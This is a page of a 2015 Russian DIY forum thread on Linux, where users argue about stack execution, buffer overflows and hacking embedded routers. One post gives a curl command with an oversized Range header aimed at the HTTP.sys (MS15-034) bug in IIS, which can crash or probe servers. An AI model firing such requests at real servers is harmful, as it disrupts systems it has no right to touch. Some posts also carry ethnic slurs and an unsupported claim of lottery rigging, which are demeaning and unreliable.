[ВХОД]

Главная | Содержание | Форум | Файлы | Поиск | Контакт
NAVIG
О форуме
Резонансные генераторы
Магнитные генераторы
Механические центробежные (вихревые) генераторы
Торсионные генераторы
Электростатические генераторы
Водородные генераторы
Ветро- и гидро- и солнечные генераторы
Струйные технологии
Торнадо и смерчи
Экономия топлива
Транспорт
Гравитация и антигравитация
Оружие
Нейтронная физика
Научные идеи, теории, предположения...
Прочие идеи (разные)
Новые технологии
Коммерческие вопросы
Барахолка
Патентный отдел
Сделай сам. Советы.
Конструкторское бюро
Помощь сайту...
Принимаю пожертвования на
Юmoney 4100135735990
Яндекс 4048 4150 3989 0880
Сберка 4006 8000 2087 6875

Денег нет,
...но вы держитесь там.
Удачи вам! И здоровья!


мобильная версия
Печатать страницу
Форум - Новые технологии - Сделай сам - Операционная система Linux. Вопросы без ответа. - Стр.30
<][ 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 ][>
Post:#471944 Date:06.06.2015 (00:41) ...
21 августа 1991 года закончился августовский путч в СССР-
24 августа 1991 в центре Киева. Люди приветствуют провозглашение независимости
25 августа 1991 года Линус Товальдс опубликовал ядро Linux Date: 25 Aug 91 20:57:08 GMT
Просто совпадение? Можно быть, но есть еще много других совпадений.
Главное- это одинаковая методика зомбирования адептов Линукса и Нэзалежной.
Линуксоидов в мире точно столько же сколько и укропов- около 1 %.
О чем не спросишь линуксоида- ответ : хто нескаче тотмастдай
dedivan | Post: 474391 - Date: 06.07.15(13:46)
psih Пост: 474389 От 06.Jul.2015 (14:28)
Так-как я сумел воспользоваться своими знаниями и решить задачу, означает техническую грамотность.


Нет, это называется умение. Тоже хорошая штука, но это другое.
Для примера китайцы- умеют скопировать любую машину, но при этом
могут и диод другим концом запаять - им все равно- они не знают для чего он. Они неграмотные.


_________________
я плохого не посоветую
Yarston | Post: 474392 - Date: 06.07.15(13:50)
https://xakep.ru/2015/04/15/http-sys-bug/
$ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
Веселитесь

dedivan | Post: 474393 - Date: 06.07.15(13:56)
А то что сейчас пытаются аппаратными битами защититься от исполнения кода-
это палка о двух концах. Если включить этот бит, 90% программ перестают работать, ибо они пользуются стеком для исполнения. начиная с самых распространенных программ типа zip, targz без которых ты даже и не установишь и не запустишь линух.


_________________
я плохого не посоветую
dedivan | Post: 474394 - Date: 06.07.15(13:59)
Yarston Пост: 474392 От 06.Jul.2015 (14:50)
Веселитесь


Вот видишь, а хрюни нет в этом списке. Это к чему?

_________________
я плохого не посоветую
psih | Post: 474395 - Date: 06.07.15(14:21)
dedivan Пост: 474391 От 06.Jul.2015 (14:46)
psih Пост: 474389 От 06.Jul.2015 (14:28)
Так-как я сумел воспользоваться своими знаниями и решить задачу, означает техническую грамотность.


Нет, это называется умение. Тоже хорошая штука, но это другое.
Для примера китайцы- умеют скопировать любую машину, но при этом
могут и диод другим концом запаять - им все равно- они не знают для чего он. Они неграмотные.


Тут можно так сказать... В моей машине применялись транзисторы, а вот диодов там не оказалось. Тем не менее узнал о том, что они есть, когда читал про транзисторы для машины... Транзисторы, то правильно запаяны! Стало быть грамотный!

Касаемо же диодов могу и ошибаться...

- Правка 06.07.15(14:34) - psih
dedivan | Post: 474398 - Date: 06.07.15(14:39)
psih Пост: 474395 От 06.Jul.2015 (15:21)
Стало быть грамотный!

Касаемо же диодов могу и ошибаться...


Так и я про то же все время говорю- читайте, учитесь, это совсем не больно...

_________________
я плохого не посоветую
Yarston | Post: 474400 - Date: 06.07.15(15:07)
Вот видишь, а хрюни нет в этом списке. Это к чему?
http://www.securitylab.ru/contest/212108.php

dedivan | Post: 474405 - Date: 06.07.15(16:18)
Вот тебе опять все с нуля читать надо. Переполнение буфера- это ОШИБКИ работы стека.
А я говорю про родной- безошибочный режим, который работает всегда и везде.
А ошибки сегодня есть а завтра их уже исправили.

_________________
я плохого не посоветую
psih | Post: 474445 - Date: 07.07.15(07:23)
dedivan Пост: 474398 От 06.Jul.2015 (15:39)
psih Пост: 474395 От 06.Jul.2015 (15:21)
Стало быть грамотный!

Касаемо же диодов могу и ошибаться...


Так и я про то же все время говорю- читайте, учитесь, это совсем не больно...


Ну ладно... может быть касаемо аппаратной защиты, касаемо выполнения в стеке у меня есть упущения. Я не проверял - доку не читал по этой теме уже более 15-лет, хотя микрософт же ведь написал, что проблема решена на программно-аппаратном уровне. Ну а дальше-то что? Для чего это все применять, помимо хакерских задач? есть у этой инфы полезное применение какое-нибудь? Речь тут даже не запайке диодов в твою машину - ты тут призываешь осваивать всевозможные наборы юного взломщика...

Смысл осваивать эти наборы, если возможность на уровне ОС закрыта?

- Правка 07.07.15(07:46) - psih
dedivan | Post: 474451 - Date: 07.07.15(09:35)
psih Пост: 474445 От 07.Jul.2015 (08:23)
возможность на уровне ОС закрыта?


Смотря какой ОС. Врряд ли процессор расчитывается на исполнение только линуха.
Не зря отцы-основатели осей спорили с Линуксом.
Да, есть способы защиты, при этом ядро оси долно быть микроядерным, с несколькими отдельными стеками, которые контролируют друг друга,
в отличии от линуха- где ядро монолитно, стек общий и контролировать некому.
Есть аппаратные возможности на уровне процессора, но они не работают в отрыве от системы.
Разложи по шагам системный вызов от программы юзера- и все увидишь.
Самые критичные дыры обусловлены самим языком си, на котором написан линух. Хотя сам процессор имеет и другие возможности.
Для примера в том же биосе- передача параметров идет через регистры,
и у него нет общего стека с программами. Уже нет дыры.
В линухе все через стек. Физически это одни и те же ячейки памяти, и когда ядро начинает с ними работать-
оно автоматом повышает их привилегии до ядерных.
Нет другого метода.
Оттранслируй простенькую програмку с вызовом системной функции.
Посмотри что программа пихает в стек перед вызовом.
А дальше уже просто по логике- ядро должно раскрутить стек обратно,
и уже в своем простанстве. Можно сделать стек неисполняемым- отключить исполнение, но тогда исполняемые параметры надо передавать через регистры. Это уже не линух.

_________________
я плохого не посоветую
dedivan | Post: 474452 - Date: 07.07.15(09:52)
Это все вопросы методологии. А линуховоды аргументируют фактологией.
Есть правило- переходи улицу на зеленый свет. Это методология.
А линух говорит- а я вот вчера переходил на красный- и меня не сшибли.
А бабулька прошлый год переходила на зеленый и ее сшиб кто то....
Это фактология.

_________________
я плохого не посоветую
- Правка 07.07.15(09:53) - dedivan
dedivan | Post: 474454 - Date: 07.07.15(10:08)
psih Пост: 474445 От 07.Jul.2015 (08:23)
Для чего это все применять, помимо хакерских задач?


Так вот самый простой случай- есть готовая рабочая система. На каком то хитром проце, про который нет полной информации, с каким то ядром линуха. про который тоже нет полной информации- что там отрезано и с какой оптимизацией оно оттранслировано.
Надо заставить делать эту систему что то новое, что нужно, а не то, что в нее заложили разработчики.
В этих условиях как раз и нужен хакинг. И облегчает его как раз сам линух- за счет имеющихся дыр, можно подсмотреть как там у него внутри устроено. Но это ювелирная работа. Это должен делать спец высокой квалификации.
Но с другой стороны- все уже придумано до нас. Кто то уже сделал это.
Вот тут я пытался выяснить у линуховодов- кто что знает. Оказалось что те, кто громче всех кричит, как раз ничего и не знают.

А сама задача интересна тем, что таких готовых систем с маленькими линухами внутри выпущено уже больше чем население всей земли.
В этой ситуации есть смысл делать и паять еще и свою систему?
Или проще использовать готовую?

_________________
я плохого не посоветую
- Правка 07.07.15(10:11) - dedivan
dedivan | Post: 474455 - Date: 07.07.15(10:24)
missioner Пост: 474444 От 07.Jul.2015 (07:26)
смогут ли они мне написать программу для вычисления возможного результата будущего тиража гослохо?


Все уже давно написано. Есть программы, которые следят за тиражами, и они уже
выяснили, что в гослохотроне номера нарушают нормальное распределеление.
Для шибко грамотных поясняю- это значит что автомат зараннее "подкручивают"-
как это делается, может нужные шарики намагничиваются, может намачиваются,
может еще тыщи способов- но всегда в выигрыше гослохотрон.
Так что какую бы программу не написал- их программа постарается обойти твою.

_________________
я плохого не посоветую
psih | Post: 474472 - Date: 07.07.15(15:53)
dedivan Пост: 474454 От 07.Jul.2015 (11:08)


В этой ситуации есть смысл делать и паять еще и свою систему?
Или проще использовать готовую?


Пример в студию!

Есть такой роутер Zyxel Keenetic Ultra, работает на линуксе.
Исходных текстов нету. Нужно сделать то, что разработчик не счел нужным реализовать. Например мониторить, по каким внешним IP ходил пользователь в интернете в течении дня. У пользователя есть внутренний IP. Есть к роутеру доступ через телнет. Данная функция может быть реализована путем периодического опроса роутера по сети посредством потокола телнет. А теперь вот захотелось переложить это на сам роутер. Задача полностью соответствует твоему описанию. Ну и скажи мне. Что делать и как, чтобы с помощью данного механизма осуществить то, что ты проанонсировал?


- Правка 07.07.15(15:55) - psih
AlexSoroka | Post: 474476 - Date: 07.07.15(16:21)


У Вас нет прав скачивать этот файл. Зарегистрируйтесь .
<][ 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 ][>
У Вас нет прав отвечать в этой теме.
Форум - Новые технологии - Сделай сам - Операционная система Linux. Вопросы без ответа. - Стр 30

Главная | Содержание | Форум | Файлы | Поиск | Контакт